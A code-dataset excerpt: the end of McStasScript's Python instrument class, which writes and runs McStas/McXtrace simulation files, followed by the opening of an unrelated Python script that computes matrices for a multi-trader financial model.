coordinates_to_string(data):\n return (\"(\"\n + str(data[0]) + \", \"\n + str(data[1]) + \", \"\n + str(data[2]) + \")\")\n\n n_lines = 1\n \"\"\"\n If calculated line length is above the limit loaded from the\n configuration file, attempt to split the output over an\n additional line. This is hardcoded up to 3 lines.\n \"\"\"\n\n if longest_line_length > line_limit:\n n_lines = 2\n longest_at_xyz_name = max([longest_at_xyz_name,\n longest_rotated_xyz_name])\n longest_rotated_xyz_name = longest_at_xyz_name\n RELATIVE_pad = 0\n\n SPACING_between_strings = 4 # combining 5 strings, 4 spaces\n\n longest_line_length_at = (longest_name\n + comp_name_pad\n + longest_component_name\n + comp_name_pad\n + longest_at_xyz_name\n + AT_pad\n + longest_at_relative_name\n + ROTATED_characters\n + SPACING_between_strings)\n longest_line_length_rotated = (longest_name\n + comp_name_pad\n + longest_component_name\n + comp_name_pad\n + longest_rotated_xyz_name\n + ROTATED_pad\n + longest_rotated_relative_name\n + ROTATED_characters\n + SPACING_between_strings)\n\n if (longest_line_length_at > line_limit\n or longest_line_length_rotated > line_limit):\n n_lines = 3\n\n if n_lines == 1:\n for component in self.component_list:\n p_name = str(component.name)\n p_name = p_name.ljust(longest_name + name_pad)\n\n p_comp_name = str(component.component_name)\n p_comp_name = p_comp_name.ljust(longest_component_name\n + comp_name_pad)\n\n p_AT = coordinates_to_string(component.AT_data)\n p_AT = p_AT.ljust(longest_at_xyz_name + AT_pad)\n\n p_AT_RELATIVE = str(component.AT_relative)\n p_AT_RELATIVE = p_AT_RELATIVE.ljust(longest_at_relative_name\n + RELATIVE_pad)\n\n p_ROTATED = coordinates_to_string(component.ROTATED_data)\n p_ROTATED = p_ROTATED.ljust(longest_rotated_xyz_name\n + ROTATED_pad)\n\n p_ROTATED_RELATIVE = str(component.ROTATED_relative)\n\n if component.ROTATED_specified:\n print(p_name, p_comp_name,\n \"AT\", p_AT, p_AT_RELATIVE,\n \"ROTATED\", p_ROTATED, p_ROTATED_RELATIVE)\n else:\n print(p_name, p_comp_name, \"AT\", p_AT, p_AT_RELATIVE)\n\n elif n_lines == 2:\n for component in self.component_list:\n p_name = str(component.name)\n p_name = p_name.ljust(longest_name + name_pad)\n\n p_comp_name = str(component.component_name)\n p_comp_name = p_comp_name.ljust(longest_component_name\n + comp_name_pad)\n\n p_AT = coordinates_to_string(component.AT_data)\n p_AT = p_AT.ljust(longest_at_xyz_name + AT_pad)\n\n p_AT_RELATIVE = str(component.AT_relative)\n p_AT_RELATIVE = p_AT_RELATIVE.ljust(longest_at_relative_name\n + RELATIVE_pad)\n\n p_ROTATED_align = \" \"*(longest_name\n + comp_name_pad\n + longest_component_name\n + comp_name_pad)\n\n p_ROTATED = coordinates_to_string(component.ROTATED_data)\n p_ROTATED = p_ROTATED.ljust(longest_rotated_xyz_name\n + ROTATED_pad)\n\n p_ROTATED_RELATIVE = str(component.ROTATED_relative)\n\n if component.ROTATED_specified:\n print(p_name, p_comp_name,\n \"AT \", p_AT, p_AT_RELATIVE, \"\\n\",\n p_ROTATED_align, \"ROTATED\",\n p_ROTATED, p_ROTATED_RELATIVE)\n else:\n print(p_name, p_comp_name,\n \"AT \", p_AT, p_AT_RELATIVE)\n\n elif n_lines == 3:\n for component in self.component_list:\n p_name = bcolors.BOLD + str(component.name) + bcolors.ENDC\n\n p_comp_name = (bcolors.BOLD\n + str(component.component_name)\n + bcolors.ENDC)\n\n p_AT = coordinates_to_string(component.AT_data)\n\n p_AT_RELATIVE = str(component.AT_relative)\n\n p_ROTATED = coordinates_to_string(component.ROTATED_data)\n\n p_ROTATED_RELATIVE = str(component.ROTATED_relative)\n\n if component.ROTATED_specified:\n print(p_name + \" \", p_comp_name, \"\\n\",\n \" AT \", p_AT, p_AT_RELATIVE, \"\\n\",\n \" ROTATED\", p_ROTATED, p_ROTATED_RELATIVE)\n else:\n print(p_name + \" \", p_comp_name, \"\\n\",\n \" AT \", p_AT, p_AT_RELATIVE)\n\n def write_c_files(self):\n \"\"\"\n Obsolete method for writing instrument parts to c files\n\n It is possible to use this function to write c files to a folder\n called generated_includes that can then be included in the\n different sections of a McStas instrument. Component objects are\n NOT written to these files, but rather the contents of the\n trace_section that can be set using the append_trace method.\n \"\"\"\n path = os.getcwd()\n path = os.path.join(path, \"generated_includes\")\n if not os.path.isdir(path):\n try:\n os.mkdir(path)\n except OSError:\n print(\"Creation of the directory %s failed\" % path)\n\n file_path = os.path.join(\".\", \"generated_includes\",\n self.name + \"_declare.c\")\n with open(file_path, \"w\") as fo:\n fo.write(\"// declare section for %s \\n\" % self.name)\n\n file_path = os.path.join(\".\", \"generated_includes\",\n self.name + \"_declare.c\")\n with open(file_path, \"a\") as fo:\n for dec_line in self.declare_list:\n if isinstance(dec_line, str):\n # append declare section parts written here\n fo.write(dec_line)\n else:\n dec_line.write_line(fo)\n fo.write(\"\\n\")\n fo.close()\n\n file_path = os.path.join(\".\", \"generated_includes\",\n self.name + \"_initialize.c\")\n fo = open(file_path, \"w\")\n fo.write(self.initialize_section)\n fo.close()\n\n file_path = os.path.join(\".\", \"generated_includes\",\n self.name + \"_trace.c\")\n fo = open(file_path, \"w\")\n fo.write(self.trace_section)\n fo.close()\n\n file_path = os.path.join(\".\", \"generated_includes\",\n self.name + \"_component_trace.c\")\n fo = open(file_path, \"w\")\n for component in self.component_list:\n component.write_component(fo)\n\n def write_full_instrument(self):\n \"\"\"\n Method for writing full instrument file to disk\n\n This method writes the instrument described by the instrument\n objects to disk with the name specified in the initialization of\n the object.\n \"\"\"\n\n # Create file identifier\n fo = open(os.path.join(self.input_path, self.name + \".instr\"), \"w\")\n\n # Write quick doc start\n fo.write(\"/\" + 80*\"*\" + \"\\n\")\n fo.write(\"* \\n\")\n fo.write(\"* McStas, neutron ray-tracing package\\n\")\n fo.write(\"* Copyright (C) 1997-2008, All rights reserved\\n\")\n fo.write(\"* Risoe National Laboratory, Roskilde, Denmark\\n\")\n fo.write(\"* Institut Laue Langevin, Grenoble, France\\n\")\n fo.write(\"* \\n\")\n fo.write(\"* This file was written by McStasScript, which is a \\n\")\n fo.write(\"* python based McStas instrument generator written by \\n\")\n fo.write(\"* Mads Bertelsen in 2019 while employed at the \\n\")\n fo.write(\"* European Spallation Source Data Management and \\n\")\n fo.write(\"* Software Center\\n\")\n fo.write(\"* \\n\")\n fo.write(\"* Instrument %s\\n\" % self.name)\n fo.write(\"* \\n\")\n fo.write(\"* %Identification\\n\") # Could allow the user to insert this\n fo.write(\"* Written by: %s\\n\" % self.author)\n t_format = \"%H:%M:%S on %B %d, %Y\"\n fo.write(\"* Date: %s\\n\" % datetime.datetime.now().strftime(t_format))\n fo.write(\"* Origin: %s\\n\" % self.origin)\n fo.write(\"* %INSTRUMENT_SITE: Generated_instruments\\n\")\n fo.write(\"* \\n\")\n fo.write(\"* \\n\")\n fo.write(\"* %Parameters\\n\")\n # Add description of parameters here\n fo.write(\"* \\n\")\n fo.write(\"* %End \\n\")\n fo.write(\"*\"*80 + \"/\\n\")\n fo.write(\"\\n\")\n fo.write(\"DEFINE INSTRUMENT %s (\" % self.name)\n fo.write(\"\\n\")\n # Add loop that inserts parameters here\n for variable in self.parameter_list[0:-1]:\n variable.write_parameter(fo, \",\")\n if len(self.parameter_list) > 0:\n self.parameter_list[-1].write_parameter(fo, \" \")\n fo.write(\")\\n\")\n fo.write(\"\\n\")\n\n # Write declare\n fo.write(\"DECLARE \\n%{\\n\")\n for dec_line in self.declare_list:\n if isinstance(dec_line, str):\n # append declare section parts written here\n fo.write(dec_line)\n else:\n dec_line.write_line(fo)\n fo.write(\"\\n\")\n fo.write(\"%}\\n\\n\")\n\n # Write initialize\n fo.write(\"INITIALIZE \\n%{\\n\")\n fo.write(self.initialize_section)\n # Alternatively hide everything in include\n \"\"\"\n fo.write(\"%include \"generated_includes/\"\n + self.name + \"_initialize.c\")\n \"\"\"\n fo.write(\"%}\\n\\n\")\n\n # Write trace\n fo.write(\"TRACE \\n\")\n for component in self.component_list:\n component.write_component(fo)\n\n # Write finally\n fo.write(\"FINALLY \\n%{\\n\")\n fo.write(self.finally_section)\n # Alternatively hide everything in include\n fo.write(\"%}\\n\")\n\n # End instrument file\n fo.write(\"\\nEND\\n\")\n\n fo.close()\n\n def _handle_parameters(self, given_parameters):\n \"\"\"\n Internal helper function that handles which parameters to pass\n when given a certain set of parameters and values.\n\n Adds the given parameters to the default parameters, and ensures all\n required parameters are provided. Also checks all given parameters\n match an existing parameter.\n\n Parameters\n ----------\n given_parameters: dict\n Parameters given by the user for simulation run\n \"\"\"\n\n if not isinstance(given_parameters, dict):\n raise RuntimeError(\"Given parameters must be a dict.\")\n\n # Find required parameters\n required_parameters = []\n default_parameters = {}\n\n for index in range(len(self.parameter_list)):\n if self.parameter_list[index].value == \"\":\n required_parameters.append(self.parameter_list[index].name)\n else:\n default_parameters.update({self.parameter_list[index].name:\n self.parameter_list[index].value})\n\n # Check if all given parameters correspond to legal parameters\n for given_par in given_parameters:\n if not isinstance(given_par, str):\n raise NameError(\"Given parameter must be a string.\")\n if (given_par not in required_parameters\n and given_par not in default_parameters):\n raise NameError(\"Given parameter: \\\"\" + str(given_par)\n + \"\\\" did not match any in instrument. \"\n + \"Currently available parameters: \\n\"\n + \" Required parameters:\"\n + str(required_parameters) + \"\\n\"\n + \" Default parameters: \"\n + str(list(default_parameters.keys())))\n\n # Check if required parameters are provided\n if len(given_parameters) == 0:\n if len(required_parameters) > 0:\n # print required parameters and raise error\n print(\"Required instrument parameters:\")\n for name in required_parameters:\n print(\" \" + name)\n raise NameError(\"Required parameters not provided.\")\n else:\n # If all parameters have defaults, just run with the defaults.\n return default_parameters\n else:\n for name in required_parameters:\n if name not in given_parameters:\n raise NameError(\"The required instrument parameter \"\n + str(name)\n + \" was not provided.\")\n # Overwrite default parameters with given parameters\n default_parameters.update(given_parameters)\n return default_parameters\n\n def run_full_instrument(self, **kwargs):\n \"\"\"\n Runs McStas instrument described by this class, returns list of\n McStasData\n\n This method will write the instrument to disk and then run it\n using the mcrun command of the system. Options are set using\n keyword arguments. Some options are mandatory, for example\n foldername, which can not already exist, if it does data will\n be read from this folder. If the mcrun command is not in the\n path of the system, the absolute path can be given with the\n executable_path keyword argument. This path could also already\n have been set at initialization of the instrument object.\n\n Parameters\n ----------\n Keyword arguments\n foldername : str\n Sets data_folder_name\n ncount : int\n Sets ncount\n mpi : int\n Sets thread count\n parameters : dict\n Sets parameters\n custom_flags : str\n Sets custom_flags passed to mcrun\n executable_path : str\n Path to mcrun command, \"\" if already in path\n \"\"\"\n # Make sure executable path is in kwargs\n if \"executable_path\" not in kwargs:\n kwargs[\"executable_path\"] = self.executable_path\n else:\n if not os.path.isdir(str(kwargs[\"executable_path\"])):\n raise RuntimeError(\"The executable_path provided to \"\n + \"run_full_instrument does not point to a\"\n + \"directory: \\\"\"\n + str(kwargs[\"executable_path\"]) + \"\\\"\")\n\n if \"executable\" not in kwargs:\n kwargs[\"executable\"] = str(self.executable)\n else:\n # check provided executable can be converted to string\n str(kwargs[\"executable\"])\n\n if \"run_path\" not in kwargs:\n # path where mcrun is executed, will load components there\n # if not set, use input_folder given\n kwargs[\"run_path\"] = self.input_path\n else:\n if not os.path.isdir(str(kwargs[\"run_path\"])):\n raise RuntimeError(\"The run_path provided to \"\n + \"run_full_instrument does not point to a\"\n + \"directory: \\\"\"\n + str(kwargs[\"run_path\"]) + \"\\\"\")\n\n if \"parameters\" in kwargs:\n given_parameters = kwargs[\"parameters\"]\n else:\n given_parameters = {}\n\n kwargs[\"parameters\"] = self._handle_parameters(given_parameters)\n\n # Write the instrument file\n compile = True\n if \"force_compile\" in kwargs:\n compile = kwargs[\"force_compile\"]\n if compile:\n self.write_full_instrument()\n\n # Set up the simulation\n simulation = ManagedMcrun(self.name + \".instr\", **kwargs)\n\n # Run the simulation and return data\n simulation.run_simulation(**kwargs)\n return simulation.load_results()\n\n def show_instrument(self, *args, **kwargs):\n \"\"\"\n Uses mcdisplay to show the instrument in web browser\n \"\"\"\n\n if \"parameters\" in kwargs:\n given_parameters = kwargs[\"parameters\"]\n else:\n given_parameters = {}\n\n parameters = self._handle_parameters(given_parameters)\n\n # add parameters to command\n parameter_string = \"\"\n for key, val in parameters.items():\n parameter_string = (parameter_string + \" \"\n + str(key) # parameter name\n + \"=\"\n + str(val)) # parameter value\n\n bin_path = os.path.join(self.package_path, \"bin\", \"\")\n executable = \"mcdisplay-webgl\"\n if \"format\" in kwargs:\n if kwargs[\"format\"] == \"webgl\":\n executable = \"mcdisplay-webgl\"\n elif kwargs[\"format\"] == \"window\":\n executable = \"mcdisplay\"\n\n self.write_full_instrument()\n\n instr_path = os.path.join(self.input_path, self.name + \".instr\")\n instr_path = os.path.abspath(instr_path)\n\n full_command = (bin_path + executable + \" \"\n + instr_path\n + \" \" + parameter_string)\n\n process = subprocess.run(full_command, shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n universal_newlines=True,\n cwd=self.input_path)\n print(process.stderr)\n print(process.stdout)\n\n def interface(self):\n \"\"\"\n Shows simulation interface in jupyter notebook interface\n\n Needs \"%matplotlib widget\" in notebook to work correctly\n \"\"\"\n self.widget_interface = SimInterface(self)\n return self.widget_interface.show_interface()\n\n def get_interface_data(self):\n \"\"\"\n Returns data from last run performed with the widget interface\n \"\"\"\n\n if self.widget_interface is None:\n print(\"No widget interface initialized, use interface method.\")\n return []\n\n if self.widget_interface.plot_interface.data is None:\n print(\"No run has been performed with the interface widget yet\")\n return []\n\n return self.widget_interface.plot_interface.data\n\nclass McStas_instr(McCode_instr):\n \"\"\"\n Main class for writing a McStas instrument using McStasScript\n\n Initialization of McStas_instr sets the name of the instrument file\n and its methods are used to add all aspects of the instrument file.\n The class also holds methods for writing the finished instrument\n file to disk and to run the simulation.\n\n Attributes\n ----------\n name : str\n name of instrument file\n\n author : str, default \"Python Instrument Generator\"\n name of user of McStasScript, written to the file\n\n origin : str, default \"ESS DMSC\"\n origin of instrument file (affiliation)\n\n executable : str\n Name of executable, mcrun or mxrun\n\n particle : str\n Name of probe particle, \"neutron\" or \"x-ray\"\n\n package_name : str\n Name of package, \"McStas\" or \"McXtrace\"\n\n input_path : str, default \".\"\n directory in which simulation is executed, uses components found there\n\n executable_path : str\n absolute path of mcrun command, or empty if it is in path\n\n parameter_list : list of ParameterVariable instances\n contains all input parameters to be written to file\n\n declare_list : list of DeclareVariable instances\n contains all declare parrameters to be written to file\n\n initialize_section : str\n string containing entire initialize section to be written\n\n trace_section : str\n string containing trace section (OBSOLETE)\n\n finally_section : str\n string containing entire finally section to be written\n\n component_list : list of component instances\n list of components in the instrument\n\n component_name_list : list of strings\n list of names of the components in the instrument\n\n component_class_lib : dict\n dict of custom Component classes made at run time\n\n component_reader : ComponentReader\n ComponentReader instance for reading component files\n\n package_path : str\n Path to mccode package containing component folders\n\n Methods\n -------\n add_parameter(*args, **kwargs)\n Adds input parameter to the define section\n\n add_declare_var(type, name)\n Add declared variable called name of given type to the declare section\n\n append_declare(string)\n Appends to the declare section\n\n append_initialize(string)\n Appends a string to the initialize section, then adds new line\n\n append_initialize_no_new_line(string)\n Appends a string to the initialize section\n\n append_finally(string)\n Appends a string to finally section, then adds new line\n\n append_finally_no_new_line(string)\n Appends a string to finally section\n\n append_trace(string)\n Obsolete method, add components instead (used in write_c_files)\n\n append_trace_no_new_line(string)\n Obsolete method, add components instead (used in write_c_files)\n\n show_components(string)\n Shows available components in given category\n\n component_help(name)\n Shows help on component of given name\n\n add_component(instance_name, component_name, **kwargs)\n Add a component to the instrument file\n\n copy_component(new_component_name, original_component, **kwargs)\n Makes a copy of original_component with new_component_name\n\n get_component(instance_name)\n Returns component instance with name instance_name\n\n get_last_component()\n Returns component instance of last component\n\n set_component_parameter(instance_name, dict)\n Adds parameters as dict to component with instance_name\n\n set_component_AT(instance_name, AT_data, **kwargs)\n Sets position of component named instance_name\n\n set_component_ROTATED(instance_name, ROTATED_data, **kwargs)\n Sets rotation of component named instance_name\n\n set_component_RELATIVE(instane_name, string)\n Sets position and rotation reference for named component\n\n set_component_WHEN(instance_name, string)\n Sets WHEN condition of named component, is logical c expression\n\n set_component_GROUP(instance_name, string)\n Sets GROUP name of component named instance_name\n\n append_component_EXTEND(instance_name, string)\n Appends a line to EXTEND section of named component\n\n set_component_JUMP(instance_name, string)\n Sets JUMP code for named component\n\n set_component_SPLIT(instance_name, string)\n Sets SPLIT value for named component\n\n set_component_c_code_before(instance_name, string)\n Sets c code before the component\n\n set_component_c_code_after(instance_name, string)\n Sets c code after the component\n\n set_component_comment(instance_name, string)\n Sets comment to be written before named component\n\n print_component(instance_name)\n Prints an overview of current state of named component\n\n print_component_short(instance_name)\n Prints short overview of current state of named component\n\n print_components()\n Prints overview of postion / rotation of all components\n\n write_c_files()\n Writes c files for %include in generated_includes folder\n\n write_full_instrument()\n Writes full instrument file to current directory\n\n show_instrument()\n Shows instrument using mcdisplay\n\n run_full_instrument(**kwargs)\n Writes instrument files and runs simulation.\n Returns list of McStasData\n\n interface()\n Shows interface with jupyter notebook widgets\n \"\"\"\n def __init__(self, name, **kwargs):\n \"\"\"\n Initialization of McStas Instrument\n\n Parameters\n ----------\n name : str\n Name of project, instrument file will be name + \".instr\"\n\n keyword arguments:\n author : str\n Name of author, written in instrument file\n\n origin : str\n Affiliation of author, written in instrument file\n\n executable_path : str\n Absolute path of mcrun or empty if already in path\n\n input_path : str\n Work directory, will load components from this folder\n \"\"\"\n self.particle = \"neutron\"\n self.executable = \"mcrun\"\n self.package_name = \"McStas\"\n\n super().__init__(name, **kwargs)\n\n def _read_calibration(self):\n this_dir = os.path.dirname(os.path.abspath(__file__))\n configuration_file_name = os.path.join(this_dir, \"..\",\n \"configuration.yaml\")\n if not os.path.isfile(configuration_file_name):\n raise NameError(\"Could not find configuration file!\")\n with open(configuration_file_name, 'r') as ymlfile:\n config = yaml.safe_load(ymlfile)\n\n if type(config) is dict:\n self.executable_path = config[\"paths\"][\"mcrun_path\"]\n self.package_path = config[\"paths\"][\"mcstas_path\"]\n self.line_limit = config[\"other\"][\"characters_per_line\"]\n else:\n # This happens in unit tests that mocks open\n self.executable_path = \"\"\n self.package_path = \"\"\n self.line_limit = 180\n\n\nclass McXtrace_instr(McCode_instr):\n \"\"\"\n Main class for writing a McXtrace instrument using McStasScript\n\n Initialization of McXtrace_instr sets the name of the instrument file\n and its methods are used to add all aspects of the instrument file.\n The class also holds methods for writing the finished instrument\n file to disk and to run the simulation.\n\n Attributes\n ----------\n name : str\n name of instrument file\n\n author : str, default \"Python Instrument Generator\"\n name of user of McStasScript, written to the file\n\n origin : str, default \"ESS DMSC\"\n origin of instrument file (affiliation)\n\n executable : str\n Name of executable, mcrun or mxrun\n\n particle : str\n Name of probe particle, \"neutron\" or \"x-ray\"\n\n package_name : str\n Name of package, \"McStas\" or \"McXtrace\"\n\n input_path : str, default \".\"\n directory in which simulation is executed, uses components found there\n\n executable_path : str\n absolute path of mcrun command, or empty if it is in path\n\n parameter_list : list of ParameterVariable instances\n contains all input parameters to be written to file\n\n declare_list : list of DeclareVariable instances\n contains all declare parrameters to be written to file\n\n initialize_section : str\n string containing entire initialize section to be written\n\n trace_section : str\n string containing trace section (OBSOLETE)\n\n finally_section : str\n string containing entire finally section to be written\n\n component_list : list of Component instances\n list of components in the instrument\n\n component_name_list : list of strings\n list of names of the components in the instrument\n\n component_class_lib : dict\n dict of custom Component classes made at run time\n\n component_reader : ComponentReader\n ComponentReader instance for reading component files\n\n package_path : str\n Path to mccode package containing component folders\n\n Methods\n -------\n add_parameter(*args, **kwargs)\n Adds input parameter to the define section\n\n add_declare_var(type, name)\n Add declared variable called name of given type to the declare section\n\n append_declare(string)\n Appends to the declare section\n\n append_initialize(string)\n Appends a string to the initialize section, then adds new line\n\n append_initialize_no_new_line(string)\n Appends a string to the initialize section\n\n append_finally(string)\n Appends a string to finally section, then adds new line\n\n append_finally_no_new_line(string)\n Appends a string to finally section\n\n append_trace(string)\n Obsolete method, add components instead (used in write_c_files)\n\n append_trace_no_new_line(string)\n Obsolete method, add components instead (used in write_c_files)\n\n show_components(string)\n Shows available components in given category\n\n component_help(name)\n Shows help on component of given name\n\n add_component(instance_name, component_name, **kwargs)\n Add a component to the instrument file\n\n copy_component(new_component_name, original_component, **kwargs)\n Makes a copy of original_component with new_component_name\n\n get_component(instance_name)\n Returns component instance with name instance_name\n\n get_last_component()\n Returns component instance of last component\n\n set_component_parameter(instance_name, dict)\n Adds parameters as dict to component with instance_name\n\n set_component_AT(instance_name, AT_data, **kwargs)\n Sets position of component named instance_name\n\n set_component_ROTATED(instance_name, ROTATED_data, **kwargs)\n Sets rotation of component named instance_name\n\n set_component_RELATIVE(instane_name, string)\n Sets position and rotation reference for named component\n\n set_component_WHEN(instance_name, string)\n Sets WHEN condition of named component, is logical c expression\n\n set_component_GROUP(instance_name, string)\n Sets GROUP name of component named instance_name\n\n append_component_EXTEND(instance_name, string)\n Appends a line to EXTEND section of named component\n\n set_component_JUMP(instance_name, string)\n Sets JUMP code for named component\n\n set_component_SPLIT(instance_name, string)\n Sets SPLIT value for named component\n\n set_component_c_code_before(instance_name, string)\n Sets c code before the component\n\n set_component_c_code_after(instance_name, string)\n Sets c code after the component\n\n set_component_comment(instance_name, string)\n Sets comment to be written before named component\n\n print_component(instance_name)\n Prints an overview of current state of named component\n\n print_component_short(instance_name)\n Prints short overview of current state of named component\n\n print_components()\n Prints overview of postion / rotation of all components\n\n write_c_files()\n Writes c files for %include in generated_includes folder\n\n write_full_instrument()\n Writes full instrument file to current directory\n\n show_instrument()\n Shows instrument using mcdisplay\n\n run_full_instrument(**kwargs)\n Writes instrument files and runs simulation.\n Returns list of McStasData\n\n interface()\n Shows interface with jupyter notebook widgets\n \"\"\"\n def __init__(self, name, **kwargs):\n \"\"\"\n Initialization of McXtrace Instrument\n\n Parameters\n ----------\n name : str\n Name of project, instrument file will be name + \".instr\"\n\n keyword arguments:\n author : str\n Name of author, written in instrument file\n\n origin : str\n Affiliation of author, written in instrument file\n\n executable_path : str\n Absolute path of mxrun or empty if already in path\n\n input_path : str\n Work directory, will load components from this folder\n \"\"\"\n self.particle = \"x-ray\"\n self.executable = \"mxrun\"\n self.package_name = \"McXtrace\"\n\n super().__init__(name, **kwargs)\n\n def _read_calibration(self):\n this_dir = os.path.dirname(os.path.abspath(__file__))\n configuration_file_name = os.path.join(this_dir, \"..\",\n \"configuration.yaml\")\n if not os.path.isfile(configuration_file_name):\n raise NameError(\"Could not find configuration file!\")\n with open(configuration_file_name, 'r') as ymlfile:\n config = yaml.safe_load(ymlfile)\n\n if type(config) is dict:\n self.executable_path = config[\"paths\"][\"mxrun_path\"]\n self.package_path = config[\"paths\"][\"mcxtrace_path\"]\n self.line_limit = config[\"other\"][\"characters_per_line\"]\n else:\n # This happens in unit tests that mocks open\n self.executable_path = \"\"\n self.package_path = \"\"\n self.line_limit = 180\n","sub_path":"mcstasscript/interface/instr.py","file_name":"instr.py","file_ext":"py","file_size_in_byte":76724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"473258241","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 9 21:07:11 2016\n\n@author: Yura\n\"\"\"\n\n\nimport numpy as np\nimport math as mt\nimport scipy as sc\nfrom numpy import matrix\nfrom numpy import random\nfrom numpy import linalg\nimport sympy\nimport scipy.linalg as sl\nimport matplotlib.pyplot as plt\n#import lsqfit as it\t\t\t\t\t\t\t\t\nimport scipy.optimize as opt\nimport pandas\n\n\nn = 100 #number of traders\n#information structure dD dG dI\nad = 0.1 #alpha for dividends, mean reversion rate of divivdends\nag = 0.02 #alpha for growth rate, mean reversion rate of growth rate\nsd = 0.5 #sigma for dividends\nsg = 0.1#sigma for growth rate\ntaL = 0 #precision of others' signals \ntaH = 1.366 #precision of itself signals of trader\nr = 0.01\n#utility coefficients\nA = 1 #risk aversion\nrho = 0.001 \n\n########Supplementary constansts#############\n##### tau0, tau and Omega ########\nNtaL = (n-1)*taL\n## tau0, Omega, tau can be expressed from system with 3 equation and 3 variables (look at KOW)\nta0 = (-(2*ag + taH + NtaL) + np.sqrt( (2*ag + taH + NtaL)**2 + 4*((sg/sd)**2) ) )/2\nprint (\"tau_0 =\", ta0)\ntau = ta0 + taH + NtaL\nprint (\"tau = \", tau)\nOm = np.power(2*ag + tau,-1) # Omega\nOm1 = 2*ag + tau # inverse Omega \n\n################# technical supplementary constants##### \nAh = np.sqrt(ta0) / (np.sqrt(taH) + (n-1)*np.sqrt(taL))\n\nOm12 = np.sqrt(Om)\nta012 = np.sqrt(ta0)\ntaL12 = np.sqrt(taL)\ntaH12 = np.sqrt(taH)\nNtaL12 = (n-1)*np.sqrt(taL) # Let us use index N when we multiply by (N-1) Nxxxx = (N-1)*xxxx \nOm12 = np.sqrt(Om)\n\n########################## Matrices Q and S#######################\nS = np.zeros((3,3))\nQ = np.zeros((3,3))\nQ[0][:] = np.array([-ad, sg*Om12*taH12 , sg*Om12*NtaL12 ])\nQ[1][:] = np.array([0 , -ag - tau + (taH12 + Ah*ta012) *taH12 , (taH12 + Ah*ta012) *NtaL12 ])\nQ[2][:] = np.array([0 , (taL12 + Ah*ta012) * taH12 , -ag - tau + (taL12 + Ah*ta012) * NtaL12 ])\n#as dX = - QXdt + SdB_t \nQ = -Q \nprint(Q)\n\nQt = np.transpose(Q)\n#print(np.linalg.eig(Q))\n#print(\"\\n\", ad, ag + tau, ag )\nQ2 = np.dot(Q,Q)\n#print(sg*Om12*tau/(ad-ag), taH12+Ah*ta012, taL12+Ah*ta012)\nv1 = 1, 0, 0\nv2 = 0, (n-1)*taL12, -taH12\nv3 = sg*Om12*tau/(ad-ag), taH12+Ah*ta012, taL12+Ah*ta012\n\nV, D = np.zeros((3,3)), np.zeros((3,3))\nV[:,0], V[:,1], V[:,2], D[0,0], D[1,1], D[2,2] = v1, v2, v3, ad, ag+tau, ag \n#print(\"V\\n\", V)\n#print(np.linalg.eig(Q)[1][:,2]/v3)\n#print(v2/np.linalg.eig(Q)[1][:,1])\n#print(\"VDV - Q\\n\", np.dot(V, np.dot(D, np.linalg.inv(V))) - Q)\ndetV = np.linalg.det(V)\nV1S, V1SSV1, V1, RRR = np.zeros((3,3)), np.zeros((3,3)), np.zeros((3,3)), np.zeros((3,3))\nSS = sg*Om12*tau/(ad - ag)\nsn1 = np.sqrt(n-1)\n\nV1[0,:] = np.array([1, - SS*taH12/detV, - SS*taL12/detV *(n-1) ])\nV1[1,:] = np.array([ 0, (taL12+Ah*ta012)/detV, -(taH12+Ah*ta012)/detV ])\nV1[2,:] = np.array([ 0, taH12/detV, (n-1)*taL12/detV ])\n\n#print(\"V1 - V1\\n\",V1 - np.linalg.inv(V) )\nprint(V1)\n\nV1S[0][:] = np.array([ sd - SS*ta012/detV, - SS*taH12/detV, - SS*taL12/detV *sn1 ])\nV1S[1][:] = np.array([ Ah* (taL12 - taH12)/detV, (taL12+Ah*ta012)/detV, -(taH12+Ah*ta012)/detV/sn1 ])\nV1S[2][:] = np.array([ ta012/detV, taH12/detV, sn1*taL12/detV ])\n\nS[0][:] = np.array([ sd, 0, 0 ])\nS[1][:] = np.array([ Ah, 1, 0 ])\nS[2][:] = np.array([ Ah, 0, np.power(n-1, -0.5) ])\n\nV1SSV1[0][:] = np.array([sd**2 - (2*detV*sd*ta012*SS - SS*SS*tau)/detV/detV, \n sd*Ah*(taL12 - taH12)/detV, (detV*sd*ta012 - SS*tau)/detV/detV ])\nV1SSV1[1][:] = np.array([sd*Ah*(taL12 - taH12)/detV , tau/(n-1)/detV/detV *(1 + n*Ah*Ah), 0 ])\nV1SSV1[2][:] = np.array([ (detV*sd*ta012 - SS*tau)/detV/detV, 0, tau/detV/detV ])\n\n\n\n#print(\"V1S - V1S\\n\", V1S - np.dot(np.linalg.inv(V), S))\n#print(\"V1S (V1S)'\\n\", np.dot(V1S,np.transpose(V1S)) - V1SSV1)\n#print(\"V1S (V1S)'\\n\", V1SSV1)\n\n\nh=100000\n\nRRR[0][:] = np.array([ (1 - np.exp(-h*2*ad))/2/ad, \n (1 - np.exp(-h*(ad+ag+tau)))/(ad+ag+tau),\n (1 - np.exp(-h*(ad+ag)))/ (ad+ag) ])\nRRR[1][:] = np.array([ (1 - np.exp(-h*(ad+ag+tau)))/(ad+ag+tau), \n (1 - np.exp(-h*2*(ag+tau)))/2/(ag+tau),\n 0 ])\nRRR[2][:] = np.array([ (1 - np.exp(-h*(ad+ag)))/(ad+ag),\n 0,\n (1 - np.exp(-h*2*ag))/2/ag ])\n\n#print(RRR)\n#print(RRR/h)\n#print(2*ad)\n#print(ad+ag)\n#print(ad+ag+tau)\n\n\niV1SSV1 = V1SSV1*RRR\nVARX = np.dot(V, np.dot(iV1SSV1, np.transpose(V)))\nprint(VARX)\n\n\n\n\nSS = np.dot(S, np.transpose(S)) \nI, SSQ, QSS = np.identity(3), np.dot(SS, np.transpose(Q)), np.dot(Q, np.transpose(SS))\n#p = pss, psd, psh, psx, pdd, pdh, pdx, phh, phx, pxx, gd, gh, gs, gp\nC = np.zeros((3,3))\n \nn1 = n-1\nn2 = n - 2\nn22 = n2/2\nsd2 = sd**2\nAh2 = Ah**2\na1 = -ag - tau + taH12*(taH12 + Ah*ta012)\na2 = -ag - tau + n1*taL12*(taL12+Ah*ta012)\na3 = n1*taL12*(taH12+Ah*ta012)\na4 = (taL12+Ah*ta012)*taH12 \n #super technical parameters\nnn1 = n /(n-1)\n\n\"\"\"\n\ndata = pandas.read_csv(\"data.csv\")\ne = pandas.DataFrame.as_matrix(data)\n\n\nfor JJJ in np.arange(50000)\n pss, psd, psh, psx, 